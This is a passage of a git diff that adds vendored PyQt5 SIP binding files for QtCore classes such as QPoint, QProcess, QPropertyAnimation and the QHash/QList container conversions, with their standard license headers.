PyString_FromString("PyQt5.QtCore.QPoint()"); + #endif + } + else + { + sipRes = + #if PY_MAJOR_VERSION >= 3 + PyUnicode_FromFormat + #else + PyString_FromFormat + #endif + ("PyQt5.QtCore.QPoint(%i, %i)", sipCpp->x(), sipCpp->y()); + } +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + int x() const; + int y() const; + void setX(int xpos); + void setY(int ypos); + QPoint &operator+=(const QPoint &p); + QPoint &operator-=(const QPoint &p); + QPoint &operator*=(int c /Constrained/); + QPoint &operator*=(double c); + QPoint &operator/=(qreal c); +%If (Qt_5_1_0 -) + static int dotProduct(const QPoint &p1, const QPoint &p2); +%End +%If (Qt_5_14_0 -) + QPoint transposed() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QPoint & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QPoint & /Constrained/) /ReleaseGIL/; +bool operator==(const QPoint &p1, const QPoint &p2); +bool operator!=(const QPoint &p1, const QPoint &p2); +const QPoint operator+(const QPoint &p1, const QPoint &p2); +const QPoint operator-(const QPoint &p1, const QPoint &p2); +const QPoint operator*(const QPoint &p, int c /Constrained/); +const QPoint operator*(int c /Constrained/, const QPoint &p); +const QPoint operator*(const QPoint &p, double c); +const QPoint operator*(double c, const QPoint &p); +const QPoint operator-(const QPoint &p); +const QPoint operator/(const QPoint &p, qreal c); + +class QPointF /TypeHintIn="Union[QPointF, QPoint]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// Allow a QPoint whenever a QPointF is expected. This is mainly to help source +// compatibility for Qt5. + +if (sipIsErr == NULL) + return (sipCanConvertToType(sipPy, sipType_QPointF, SIP_NO_CONVERTORS) || + sipCanConvertToType(sipPy, sipType_QPoint, 0)); + +if (sipCanConvertToType(sipPy, sipType_QPointF, SIP_NO_CONVERTORS)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QPointF, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +int state; + +QPoint *pt = reinterpret_cast(sipConvertToType(sipPy, sipType_QPoint, 0, 0, &state, sipIsErr)); + +if (*sipIsErr) +{ + sipReleaseType(pt, sipType_QPoint, state); + return 0; +} + +*sipCppPtr = new QPointF(*pt); + +sipReleaseType(pt, sipType_QPoint, state); + +return sipGetState(sipTransferObj); +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dd", sipCpp->x(), sipCpp->y()); +%End + +public: + QPointF(); + QPointF(qreal xpos, qreal ypos); + QPointF(const QPoint &p); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QPointF()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QPointF()"); + #endif + } + else + { + PyObject *x = PyFloat_FromDouble(sipCpp->x()); + PyObject *y = PyFloat_FromDouble(sipCpp->y()); + + if (x && y) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QPointF(%R, %R)", x, y); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QPointF("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(x); + Py_XDECREF(y); + } +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + qreal x() const; + qreal y() const; + void setX(qreal xpos); + void setY(qreal ypos); + QPointF &operator+=(const QPointF &p); + QPointF &operator-=(const QPointF &p); + QPointF &operator*=(qreal c); + QPointF &operator/=(qreal c); + QPoint toPoint() const; + qreal manhattanLength() const; +%If (Qt_5_1_0 -) + static qreal dotProduct(const QPointF &p1, const QPointF &p2); +%End +%If (Qt_5_14_0 -) + QPointF transposed() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QPointF & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QPointF & /Constrained/) /ReleaseGIL/; +bool operator==(const QPointF &p1, const QPointF &p2); +bool operator!=(const QPointF &p1, const QPointF &p2); +const QPointF operator+(const QPointF &p1, const QPointF &p2); +const QPointF operator-(const QPointF &p1, const QPointF &p2); +const QPointF operator*(const QPointF &p, qreal c); +const QPointF operator*(qreal c, const QPointF &p); +const QPointF operator-(const QPointF &p); +const QPointF operator/(const QPointF &p, qreal c); +const QPoint operator+(const QPoint &p); +const QPointF operator+(const QPointF &p); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qprocess.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qprocess.sip new file mode 100644 index 00000000..3ead01cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qprocess.sip @@ -0,0 +1,253 @@ +// qprocess.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (WS_WIN) +%If (PyQt_Process) +typedef void *Q_PID; +%End +%End +%If (WS_X11 || WS_MACX) +%If (PyQt_Process) +typedef qint64 Q_PID; +%End +%End +%If (PyQt_Process) + +class QProcess : QIODevice +{ +%TypeHeaderCode +#include +%End + +public: + enum ExitStatus + { + NormalExit, + CrashExit, + }; + + enum ProcessError + { + FailedToStart, + Crashed, + Timedout, + ReadError, + WriteError, + UnknownError, + }; + + enum ProcessState + { + NotRunning, + Starting, + Running, + }; + + enum ProcessChannel + { + StandardOutput, + StandardError, + }; + + enum ProcessChannelMode + { + SeparateChannels, + MergedChannels, + ForwardedChannels, +%If (Qt_5_2_0 -) + ForwardedOutputChannel, +%End +%If (Qt_5_2_0 -) + ForwardedErrorChannel, +%End + }; + + explicit QProcess(QObject *parent /TransferThis/ = 0); + virtual ~QProcess(); + void start(const QString &program, const QStringList &arguments, QIODevice::OpenMode mode = QIODevice::ReadWrite) /HoldGIL/; + void start(const QString &command, QIODevice::OpenMode mode = QIODevice::ReadWrite) /HoldGIL/; +%If (Qt_5_1_0 -) + void start(QIODevice::OpenMode mode = QIODevice::ReadWrite) /HoldGIL/; +%End + QProcess::ProcessChannel readChannel() const; + void setReadChannel(QProcess::ProcessChannel channel); + void closeReadChannel(QProcess::ProcessChannel channel); + void closeWriteChannel(); + QString workingDirectory() const; + void setWorkingDirectory(const QString &dir); + QProcess::ProcessError error() const; + QProcess::ProcessState state() const; + Q_PID pid() const; + bool waitForStarted(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForReadyRead(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForBytesWritten(int msecs = 30000) /ReleaseGIL/; + bool waitForFinished(int msecs = 30000) /ReleaseGIL/; + QByteArray readAllStandardOutput() /ReleaseGIL/; + QByteArray readAllStandardError() /ReleaseGIL/; + int exitCode() const; + QProcess::ExitStatus exitStatus() const; + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool isSequential() const; + virtual bool canReadLine() const; + virtual void close(); + virtual bool atEnd() const; + static int execute(const QString &program, const QStringList &arguments) /ReleaseGIL/; + static int execute(const QString &program) /ReleaseGIL/; + static bool startDetached(const QString &program, const QStringList &arguments, const QString &workingDirectory, qint64 *pid = 0); + static bool startDetached(const QString &program, const QStringList &arguments); + static bool startDetached(const QString &program); +%If (Qt_5_10_0 -) + bool startDetached(qint64 *pid = 0); +%End + static QStringList systemEnvironment(); + QProcess::ProcessChannelMode processChannelMode() const; + void setProcessChannelMode(QProcess::ProcessChannelMode mode); + void setStandardInputFile(const QString &fileName); + void setStandardOutputFile(const QString &fileName, QIODevice::OpenMode mode = QIODevice::Truncate); + void setStandardErrorFile(const QString &fileName, QIODevice::OpenMode mode = QIODevice::Truncate); + void setStandardOutputProcess(QProcess *destination); + +public slots: + void terminate(); + void kill(); + +signals: + void started(); + void finished(int exitCode, QProcess::ExitStatus exitStatus); + void error(QProcess::ProcessError error); + void stateChanged(QProcess::ProcessState state); + void readyReadStandardOutput(); + void readyReadStandardError(); +%If (Qt_5_6_0 -) + void errorOccurred(QProcess::ProcessError error); +%End + +protected: + void setProcessState(QProcess::ProcessState state); + virtual void setupChildProcess(); + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QProcess::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + +public: + void setProcessEnvironment(const QProcessEnvironment &environment); + QProcessEnvironment processEnvironment() const; + QString program() const; +%If (Qt_5_1_0 -) + void setProgram(const QString &program); +%End + QStringList arguments() const; +%If (Qt_5_1_0 -) + void setArguments(const QStringList &arguments); +%End +%If (Qt_5_1_0 -) + virtual bool open(QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; +%End +%If (Qt_5_2_0 -) + + enum InputChannelMode + { + ManagedInputChannel, + ForwardedInputChannel, + }; + +%End +%If (Qt_5_2_0 -) + QProcess::InputChannelMode inputChannelMode() const; +%End +%If (Qt_5_2_0 -) + void setInputChannelMode(QProcess::InputChannelMode mode); +%End +%If (Qt_5_2_0 -) + static QString nullDevice(); +%End +%If (Qt_5_3_0 -) + qint64 processId() const; +%End +}; + +%End +%If (PyQt_Process) + +class QProcessEnvironment +{ +%TypeHeaderCode +#include +%End + +public: + QProcessEnvironment(); + QProcessEnvironment(const QProcessEnvironment &other); + ~QProcessEnvironment(); + bool operator==(const QProcessEnvironment &other) const; + bool operator!=(const QProcessEnvironment &other) const; + bool isEmpty() const; + void clear(); + bool contains(const QString &name) const; + void insert(const QString &name, const QString &value); + void insert(const QProcessEnvironment &e); + void remove(const QString &name); + QString value(const QString &name, const QString &defaultValue = QString()) const; + QStringList toStringList() const; + static QProcessEnvironment systemEnvironment(); + QStringList keys() const; + void swap(QProcessEnvironment &other /Constrained/); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpropertyanimation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpropertyanimation.sip new file mode 100644 index 00000000..07c6b4ec --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpropertyanimation.sip @@ -0,0 +1,42 @@ +// qpropertyanimation.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPropertyAnimation : QVariantAnimation +{ +%TypeHeaderCode +#include +%End + +public: + QPropertyAnimation(QObject *parent /TransferThis/ = 0); + QPropertyAnimation(QObject *target /KeepReference=0/, const QByteArray &propertyName, QObject *parent /TransferThis/ = 0); + virtual ~QPropertyAnimation(); + QObject *targetObject() const; + void setTargetObject(QObject *target /KeepReference=0/); + QByteArray propertyName() const; + void setPropertyName(const QByteArray &propertyName); + +protected: + virtual bool event(QEvent *event); + virtual void updateCurrentValue(const QVariant &value); + virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qhash.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qhash.sip new file mode 100644 index 00000000..dc35182e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qhash.sip @@ -0,0 +1,497 @@ +// This is the SIP interface definition for the majority of the QHash based +// mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +template<_TYPE1_, _TYPE2_> +%MappedType QHash<_TYPE1_, _TYPE2_> + /TypeHint="Dict[_TYPE1_, _TYPE2_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QHash<_TYPE1_, _TYPE2_>::const_iterator it = sipCpp->constBegin(); + QHash<_TYPE1_, _TYPE2_>::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + _TYPE1_ *k = new _TYPE1_(it.key()); + PyObject *kobj = sipConvertFromNewType(k, sipType__TYPE1_, + sipTransferObj); + + if (!kobj) + { + delete k; + Py_DECREF(d); + + return 0; + } + + _TYPE2_ *v = new _TYPE2_(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE2_, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QHash<_TYPE1_, _TYPE2_> *qh = new QHash<_TYPE1_, _TYPE2_>; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int kstate; + _TYPE1_ *k = reinterpret_cast<_TYPE1_ *>( + sipForceConvertToType(kobj, sipType__TYPE1_, sipTransferObj, + SIP_NOT_NONE, &kstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but '_TYPE1_' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qh; + + return 0; + } + + int vstate; + _TYPE2_ *v = reinterpret_cast<_TYPE2_ *>( + sipForceConvertToType(vobj, sipType__TYPE2_, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE2_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + sipReleaseType(k, sipType__TYPE1_, kstate); + delete qh; + + return 0; + } + + qh->insert(*k, *v); + + sipReleaseType(v, sipType__TYPE2_, vstate); + sipReleaseType(k, sipType__TYPE1_, kstate); + } + + *sipCppPtr = qh; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (Qt_5_4_0 -) + +// This is only needed for QtWebChannel but is sufficiently generic that we +// include it here. + +template<_TYPE1_, _TYPE2_ *> +%MappedType QHash<_TYPE1_, _TYPE2_ *> + /TypeHint="Dict[_TYPE1_, _TYPE2_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + int gc_enabled = sipEnableGC(0); + PyObject *d = PyDict_New(); + + if (d) + { + QHash<_TYPE1_, _TYPE2_ *>::const_iterator it = sipCpp->constBegin(); + QHash<_TYPE1_, _TYPE2_ *>::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + _TYPE1_ *k = new _TYPE1_(it.key()); + PyObject *kobj = sipConvertFromNewType(k, sipType__TYPE1_, + sipTransferObj); + + if (!kobj) + { + delete k; + Py_DECREF(d); + d = 0; + + break; + } + + _TYPE2_ *v = it.value(); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE2_, + sipTransferObj); + + if (!vobj) + { + Py_DECREF(kobj); + Py_DECREF(d); + d = 0; + + break; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + d = 0; + + break; + } + + ++it; + } + } + + sipEnableGC(gc_enabled); + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QHash<_TYPE1_, _TYPE2_ *> *qh = new QHash<_TYPE1_, _TYPE2_ *>; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int kstate; + _TYPE1_ *k = reinterpret_cast<_TYPE1_ *>( + sipForceConvertToType(kobj, sipType__TYPE1_, sipTransferObj, + SIP_NOT_NONE, &kstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but '_TYPE1_' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qh; + + return 0; + } + + _TYPE2_ *v = reinterpret_cast<_TYPE2_ *>( + sipForceConvertToType(vobj, sipType__TYPE2_, sipTransferObj, 0, + 0, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE2_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + sipReleaseType(k, sipType__TYPE1_, kstate); + delete qh; + + return 0; + } + + qh->insert(*k, v); + + sipReleaseType(k, sipType__TYPE1_, kstate); + } + + *sipCppPtr = qh; + + return sipGetState(sipTransferObj); +%End +}; + +%End + + +template +%MappedType QHash + /TypeHint="Dict[int, _TYPE_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QHash::const_iterator it = sipCpp->constBegin(); + QHash::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + PyObject *kobj = SIPLong_FromLong(it.key()); + + if (!kobj) + { + Py_DECREF(d); + + return 0; + } + + _TYPE_ *v = new _TYPE_(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE_, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QHash *qh = new QHash; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int k = sipLong_AsInt(kobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qh; + *sipIsErr = 1; + + return 0; + } + + int vstate; + _TYPE_ *v = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(vobj, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + delete qh; + + return 0; + } + + qh->insert(k, *v); + + sipReleaseType(v, sipType__TYPE_, vstate); + } + + *sipCppPtr = qh; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (Qt_5_12_0 -) + +template +%MappedType QHash + /TypeHint="Dict[int, _TYPE_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QHash::const_iterator it = sipCpp->constBegin(); + QHash::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + PyObject *kobj = SIPLong_FromLong(it.key()); + + if (!kobj) + { + Py_DECREF(d); + + return 0; + } + + _TYPE_ *v = new _TYPE_(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE_, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QHash *qh = new QHash; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + quint16 k = sipLong_AsUnsignedShort(kobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qh; + *sipIsErr = 1; + + return 0; + } + + int vstate; + _TYPE_ *v = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(vobj, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + delete qh; + + return 0; + } + + qh->insert(k, *v); + + sipReleaseType(v, sipType__TYPE_, vstate); + } + + *sipCppPtr = qh; + + return sipGetState(sipTransferObj); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qlist.sip new file mode 100644 index 00000000..e8437af2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qlist.sip @@ -0,0 +1,953 @@ +// This is the SIP interface definition for the majority of the QList based +// mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// Note that when we test the type of an object to see if it can be converted +// to a collection we only check if it is iterable. We do not check the +// types of the contents - we assume we will be able to convert them when +// requested. This allows us to raise exceptions specific to an individual +// object. This approach doesn't work if there are overloads that can only be +// distinguished by the types of the template arguments. Currently there are +// no such cases in PyQt5. Note also that we don't consider strings to be +// iterables. + + +template<_TYPE_> +%MappedType QList<_TYPE_> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="List[_TYPE_]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + _TYPE_ *t = new _TYPE_(sipCpp->at(i)); + PyObject *tobj = sipConvertFromNewType(t, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, tobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList<_TYPE_> *ql = new QList<_TYPE_>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(*t); + + sipReleaseType(t, sipType__TYPE_, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +template<_TYPE_> +%MappedType QList<_TYPE_ *> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="List[_TYPE_]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + int gc_enabled = sipEnableGC(0); + PyObject *l = PyList_New(sipCpp->size()); + + if (l) + { + for (int i = 0; i < sipCpp->size(); ++i) + { + _TYPE_ *t = sipCpp->at(i); + + // The explicit (void *) cast allows _TYPE_ to be const. + PyObject *tobj = sipConvertFromType((void *)t, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + Py_DECREF(l); + l = 0; + + break; + } + + PyList_SetItem(l, i, tobj); + } + } + + sipEnableGC(gc_enabled); + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList<_TYPE_ *> *ql = new QList<_TYPE_ *>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, 0, + 0, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(t); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +template<_TYPE1_, _TYPE2_> +%MappedType QList > + /TypeHintIn="Iterable[Tuple[_TYPE1_, _TYPE2_]]", + TypeHintOut="List[Tuple[_TYPE1_, _TYPE2_]]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + const QPair<_TYPE1_, _TYPE2_> &p = sipCpp->at(i); + _TYPE1_ *s1 = new _TYPE1_(p.first); + _TYPE2_ *s2 = new _TYPE2_(p.second); + PyObject *pobj = sipBuildResult(NULL, "(NN)", s1, sipType__TYPE1_, + sipTransferObj, s2, sipType__TYPE2_, sipTransferObj); + + if (!pobj) + { + delete s1; + delete s2; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList > *ql = new QList >; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *seq = PyIter_Next(iter); + + if (!seq) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + Py_ssize_t 